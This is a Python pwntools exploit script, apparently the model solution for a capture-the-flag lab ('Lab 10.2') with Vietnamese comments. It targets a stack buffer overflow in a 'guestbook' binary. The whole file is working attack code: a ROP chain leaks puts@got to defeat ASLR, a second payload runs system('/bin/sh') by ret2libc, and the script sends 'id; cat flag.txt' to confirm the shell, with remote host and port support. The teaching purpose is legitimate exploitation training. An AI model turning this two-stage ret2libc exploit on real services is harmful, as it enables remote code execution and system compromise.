#!/usr/bin/env python3
# Lab 10.2: writeup mau. Exploit hai giai doan, chay voi ASLR BAT.
#   Giai doan 1: puts(puts@got) in dia chi libc that cua puts, roi ret ve main.
#   Giai doan 2: tinh base libc DONG tu libc server (glibc 2.39), ret2libc -> shell.
#
# Chay local:  ./exploit.py
# Chay remote: ./exploit.py REMOTE HOST=1.2.3.4 PORT=1337   (neu co dung socat)
import time
from pwn import *

context.binary = elf = ELF('./guestbook')
context.log_level = 'info'

# libc that cua may chay challenge. Bai CTF that se cho kem file libc,
# luc do doi dong nay sang ELF('./libc.so.6') cua de.
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def conn():
    if args.REMOTE:
        return remote(args.HOST, int(args.PORT))
    return process('./guestbook')

io = conn()

offset = 72                          # buf[64]: lea [rbp-0x40] -> 0x40 + 8 (saved rbp) = 72
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]   # gadget ta nhet trong binary
ret     = rop.find_gadget(['ret'])[0]              # can alignment 16 byte cho system
log.info('pop rdi ; ret (binary) = %#x', pop_rdi)

# ---------- Giai doan 1: leak dia chi libc cua puts ----------
io.recvuntil(b'ky ten: ')
payload1 = flat(
    b'A' * offset,
    pop_rdi, elf.got['puts'],   # rdi = &puts@got
    elf.plt['puts'],            # puts(puts@got) -> in dia chi libc that cua puts
    elf.sym['main'],            # ret ve main de co giai doan 2
)
io.send(payload1)

io.recvuntil(b'da ghi so luu niem.\n')   # qua het phan echo "%s" cua ten
leak = io.recvline().strip()
puts_libc = u64(leak.ljust(8, b'\x00'))
log.success('puts @ libc = %#x', puts_libc)

libc.address = puts_libc - libc.sym['puts']
log.success('libc base   = %#x', libc.address)
assert libc.address & 0xfff == 0, 'base phai can trang -> sai libc version?'

# ---------- Giai doan 2: ret2libc system("/bin/sh") ----------
io.recvuntil(b'ky ten: ')            # main chay lai, sign() hoi ten lan nua
binsh  = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']
log.info('system  = %#x', system)
log.info('/bin/sh = %#x', binsh)
payload2 = flat(
    b'A' * offset,
    ret,                             # can rsp boi so 16 truoc movaps trong system
    pop_rdi, binsh,
    system,
)
io.send(payload2)

# Cho read(256) nuot xong payload2 va spawn /bin/sh TRUOC khi gui lenh.
# Neu gui lien tay, read() co the nuot luon dong lenh -> shell khong nhan duoc input.
# Day la cam bay "race voi read" rat hay gap (xem muc Cam bay cua bai).
time.sleep(0.5)

# Chung minh co shell: chay id va doc flag
io.sendline(b'echo ===PWNED_10_2===; id; cat flag.txt; echo ===END===')
io.sendline(b'exit')
out = io.recvall(timeout=5).decode(errors='replace')
print(out)
assert 'uid=' in out and 'FLAG{' in out, 'FAIL: khong lay duoc shell / flag'
log.success('10.2 OK: leak libc + ret2libc -> shell + flag')